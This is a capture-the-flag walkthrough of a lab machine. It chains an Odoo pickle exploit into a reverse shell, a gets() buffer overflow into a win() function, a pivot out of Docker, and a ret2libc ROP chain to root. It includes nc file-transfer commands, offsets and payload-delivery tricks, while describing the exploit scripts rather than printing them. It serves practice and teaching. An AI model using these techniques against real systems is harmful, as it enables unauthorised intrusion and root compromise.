Obscure
A CTF room focused on web and binary exploitation - by Zeeshan1234
Last updated
A CTF room focused on web and binary exploitation - by Zeeshan1234
Last updated
First of all we are looking for open ports using nmap with
We have 3 open ports:
21 FTP
22 SSH
80 HTTP
Peeking into the ftp with anonymous user reveals 2 files:
notice.txt
password
Looking into notice.txt gives us a hint on a possible domain antisoft.thm
. We might need that later.
The password file is a 64bit executable binary. Making it executable and running it, it prompts us for an user id to recover a password.
With strings
we hope to get any printable strings of the binary giving us any hint for the password or user id. 971234596
might be it.
Using 971234596
gives us the Password SecurePassword123!
Next, we visit the webpage and land on a login page of odoo. We have a password but are missing the user. Peeking on the site, there is a link to manage databases.
Clicking on that, we are able to get a backup of the database providing a password.
Using the password of the recovery binary we get a zip file containing dump.sql
.
Grepping for the domain antisoft.thm
, hinted by the notice.txt
, we get the user admin@antisoft.thm
.
Next, we try the user admin@antisoft.thm
with the already known password SecurePassword123!
before we try to crack the hash. Maybe the password was reused.
We got in with the credentials and are able to check out the running version of odoo
Given the version 10 we will find an exploit on exploit-db:
With a fix of intendation and swap out payload and performing the steps given in the exploit, we are able to get a reverse shell.
running script with python2.7 to create the exploit.pickle
which will have to use
set up a listener on 4444
In odoo you have to install the Database Anonymization App, anonymize the database, reload the page, upload the generated pickle and reverse the anonymization which executes the pickle.
Reload the page
Getting the reverse shell:
Next, we upgrade the shell
Checking the user gives us odoo
The first flag can be found in the users directory of odoo: /var/lib/odoo
During enumeration, the binary ret
in the root folder stood out, which set a SUID bit
.
Running the binary reveals that we have to exploit it to get on the box.
We are getting ret on the attack box for further investigation with nc
File transfer via nc
on the receiving end run
nc -l -p <PORT> > <FILENAME>
to send the file
nc -w 3 <TARGET-IP> <PORT> < <FILENAME>
The file ret
is a 64Bit executable with NX set.
opening ret
in ghidra and inspecting main
, we see it's calling the vuln()
function
The vuln()
function uses gets()
And the win()
function is calling system(/bin/sh)
The win()
function address is 0x400646
For further exploitation we use gdb
with gef
We run gdb with the binary gbd ret
and start the execution with r
. Entering 200 A's gives us a SEGFAULT
Next, we create a pattern to determine the $rsp location
Getting an offset of 136 until we reach $rsp
For validation we create a string of 136 A's and 8 B's and enter it into the binary.
And the $rsp
is filled up with B's
Building the payload, instead of 8 B's we enter the address of the win()
function, which then will be executed
Testing it locally, we get the response, that indicates we reached the win()
function running /bin/sh
Publishing the payload via python webserver
In the next steps we tried to pass the payload to the binary resulting in a SEGFAULT
on the target machine
The trick is to keep the stdin open, so we stay in the running shell. One way to do this is piping cat
(cat payload; cat) | ./binary
And we are root as the effective user. But looking at /
we found a .dockerenv
file, giving us the hint that we are in a docker container. Looking into /root/root.txt gives us the hint, that we are not done yet. At this point I was highly confused and distracted. I searched for a way to escape docker, completely forgetting that this machine focuses on binary exploitation. After a long break I came to the idea that the binary might be hosted on the docker host machine...
While enumerating as odoo we find 2 entries in the host file 172.17.0.2 and 172.17.0.3.
With a bit of luck I used a static version of nmap to not just scan 172.17.0.2, 172.17.0.3, but also 172.17.0.1 which reveals us a port at 4444. Nmap was not part of the target machine. To get the static version of nmap on the machine a python webserver can be used like we did with payload.p.
Connecting to the port 4444
on 172.17.0.1
prompts us with the same message as running ret
locally
Piping the payoad to the nc
connection we get on the box as zeeshan
In the home directory of zeeshan the second flag is located.
Next, there is a .ssh
folder containing a private and public key of the user zeeshan. We save the private key id_rsa
for further steps
At this point I restarted the machine, so the target IP changes from 10.10.77.17
to 10.10.65.66
Helpful resources understanding ret2libc
https://www.youtube.com/watch?v=TTCz3kMutSs
https://tryhackme.com/room/ret2libc
I highly recommend the resources and practicing the ret2libc room before continuing
For further reading i recommend ir0nstones gitbook
Check if we can connect with the found ssh key
Searching for files with suid bit set leads us to exploit_me
in the root directory
Running the file prompts us with a hint to exploit it in order to gain root
Downloading the exploit_me
binary using scp
It's a 64bit binary executable
Running checksec on exploit_me
shows us NX is enabled like ret
Next, we decompile the binary using Ghidra. This time we dont have any functions calling system
. With the NX enabled we aren't able to execute shell code written to the stack. This indicates that we have to use already linked libraries of the binary with return oriented programming using the dynamically linked library libc. Libc provides us the functions system
and the string /bin/sh
, so if we are able to call these, we are able to get a shell.
In the main function are the function calls setuid()
, puts()
and gets()
. Setuid(0)
executes the program as root, next it puts()
a string and after that it calls gets()
for an user input.
ASLR is enabled on the target machine which randomizes the adress of the linked library libc.
We need to leak the adresses of puts, gets and setuid to determine the used libc on the machine, and calculate the relative offset of the address of the gets function to the addresses of the functions system
and the string /bin/sh
in the used libc.
To leak the adresses we make use of the function puts
and gets
run in main.
We build a ROP chain which leaks GOT adresses of gets, puts and setuid by writing the GOT.function address to the rdi register, calling the PLT.puts function and running main
again.
With the leaked addresses we determine the libc library version. To calculate the offset relative to the leaked gets function address, we are able to get the /bin/sh
string address and system
function address using those to build another ROP chain to write /bin/sh
to rdi
executing system
to get a shell.
Like with the binary ret
we check for a SEGFAULT
Creating a pattern to identify the offset to $rsp
The offset is 40
Validating the offset with a string of 40 A's and 8 B's
The $rsp
contains 8 B's
The following python program makes use of pwntools to craft the ROP chain.
Reviewing the leaked adresses shows that the last 12 bit aren't randomized
gets 060
puts 970
setuid 8a0
Using a libc database we are able to get the used libc library calculated by their offset to each other.
In the second part of the program shown below, we use the offset relative to the leaked gets
function address to calculate the system function address and the /bin/sh
string to write the /bin/sh address
into the rdi
and calling system
.
Running the script shows our exploit worked locally
To exploit the binary on the target machine we have to make use of ssh to establish a connection to the machine. The binary has to run in the context of the machine, because the used library might be different and the leaked PLT adresses change running the binary again.
Still, the last 12 bit don't change but are different to the ATTACK BOX.
Using a libc database again to determine the used libc library
Using the offsets relative to the gets address
Running the script, we are now on the machine as root and found the flag at /root/root.txt